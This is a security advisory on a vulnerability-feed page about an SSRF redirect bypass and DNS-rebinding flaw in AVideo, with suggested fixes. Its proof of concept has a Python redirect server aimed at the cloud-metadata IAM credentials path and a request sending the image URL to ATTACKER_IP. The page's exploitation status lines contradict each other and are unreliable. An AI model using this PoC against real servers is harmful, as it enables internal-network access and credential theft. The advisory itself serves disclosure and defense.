Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-2hch-c97c-g99x
No affected components available
Summary
Two endpoints in AVideo call isSSRFSafeURL() to validate user-supplied URLs, then fetch them using bare file_get_contents() without disabling PHP's automatic redirect following. An attacker can supply a URL pointing to a server they control that returns a 302 redirect to an internal/cloud-metadata address (e.g., http://169.254.169.254/latest/meta-data/). Since isSSRFSafeURL() only validates the initial URL, the redirect target bypasses all SSRF protections.
A secondary finding is that 6+ callers of isSSRFSafeURL() discard the $resolvedIP out-parameter meant for DNS pinning, leaving them vulnerable to DNS rebinding TOCTOU attacks.
Severity: High — CVSS 3.1: 7.7 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N)
Details
Finding 1: Redirect-Based SSRF Bypass
Vulnerable code — plugin/AI/receiveAsync.json.php (line ~162–165):
// SSRF Protection: Validate URL before fetching
if (!isSSRFSafeURL($imageUrl)) {
// blocked
} else {
$imageContent = file_get_contents($imageUrl); // ← FOLLOWS REDIRECTS!
}
Vulnerable code — objects/EpgParser.php (line ~358–362):
if (!isSSRFSafeURL($this->url)) {
throw new \RuntimeException('URL blocked by SSRF protection');
}
$this->content = @file_get_contents($this->url); // ← FOLLOWS REDIRECTS!
Safe code for comparison — objects/functions.php, url_get_contents():
$opts = ['http' => ['follow_location' => 0]]; // Disable auto-redirect
$context = stream_context_create($opts);
for ($redirectCount = 0; $redirectCount <= 5; $redirectCount++) {
$fetched = file_get_contents($currentUrl, false, $context);
// ... parse Location header ...
if ($redirectTarget) {
if (!isSSRFSafeURL($redirectTarget)) { // Re-validates EACH hop
return false;
}
$currentUrl = $redirectTarget;
continue;
}
$tmp = $fetched;
break;
}
Root cause: The SSRF redirect protection (follow_location=0 + manual redirect loop with per-hop isSSRFSafeURL() re-validation) was correctly implemented in url_get_contents() but NOT propagated to these two endpoints that call file_get_contents() directly. PHP's default follow_location is 1 (follow redirects).
Finding 2: DNS Rebinding TOCTOU (Multiple Callers)
isSSRFSafeURL() provides a $resolvedIP out-parameter for DNS pinning via CURLOPT_RESOLVE. Only 1 of 9 callers (plugin/LiveLinks/proxy.php) uses it. The remaining 8 callers discard it and pass the original hostname to the fetching function, which resolves DNS independently — creating a TOCTOU race window exploitable via DNS rebinding (TTL=0).
Affected callers (no DNS pinning):
objects/aVideoEncoderReceiveImage.json.php— 4 call sitesobjects/aVideoEncoder.json.php— 1 call siteplugin/BulkEmbed/save.json.php— 1 call siteplugin/AI/receiveAsync.json.php— 1 call siteobjects/EpgParser.php— 1 call siteplugin/Scheduler/Scheduler.php— 1 call site
PoC
Redirect Bypass PoC
- Attacker runs an HTTP server that returns a 302 redirect:
from http.server import HTTPServer, BaseHTTPRequestHandler
class RedirectHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header("Location", "http://169.254.169.254/latest/meta-data/iam/security-credentials/")
self.end_headers()
HTTPServer(("0.0.0.0", 8888), RedirectHandler).serve_forever()
- Attacker triggers AI image generation and intercepts the callback:
POST /plugin/AI/receiveAsync.json.php
Content-Type: application/x-www-form-urlencoded
type=image&token=VALID_TOKEN&ai_responses_id=ID&response[data][0][url]=http://ATTACKER_IP:8888/redir
isSSRFSafeURL("http://ATTACKER_IP:8888/redir")resolves attacker IP → public → passesfile_get_contents("http://ATTACKER_IP:8888/redir")follows 302 tohttp://169.254.169.254/...— no SSRF re-check occurs- Cloud metadata (including IAM credentials) is saved as a video thumbnail, retrievable by the attacker
Control test: Replace the redirect target with a legitimate public URL — isSSRFSafeURL() passes and the content is fetched normally, confirming the function works for non-malicious URLs.
DNS Rebinding PoC
- Configure a domain with TTL=0 DNS that alternates:
- First query: public IP (passes
isSSRFSafeURL) - Second query:
127.0.0.1(reaches internal services)
- First query: public IP (passes
- Submit
http://rebind.attacker.com/image.jpgto any affected endpoint isSSRFSafeURL()resolves → public IP → passes (discards$resolvedIP)url_get_contents()/file_get_contents()resolves again →127.0.0.1→ SSRF achieved
Impact
An authenticated attacker can force the AVideo server to make HTTP requests to arbitrary internal hosts, including:
- Cloud metadata endpoints (169.254.169.254) — exfiltrate IAM credentials, instance identity
- Internal services on localhost or private network (databases, admin panels, monitoring)
- Port scanning of the internal network using the server as a proxy
The exfiltrated data is stored as video thumbnails/images, making it retrievable through the application's public interface.
Suggested Fix
Fix 1 (Redirect bypass — immediate): Route both affected files through url_get_contents() which already handles redirects safely, or add explicit no-redirect context:
$ctx = stream_context_create(['http' => ['follow_location' => 0]]);
$imageContent = file_get_contents($imageUrl, false, $ctx);
Fix 2 (DNS rebinding — defense-in-depth): Update all callers to capture $resolvedIP and pass it to a DNS-pinning-aware fetch function using CURLOPT_RESOLVE.
Credit
Kai Aizen kai.aizen.dev@gmail.com
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The vulnerability can affect other systems as well, not just the initial system. There is a high impact on the confidentiality of the information.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard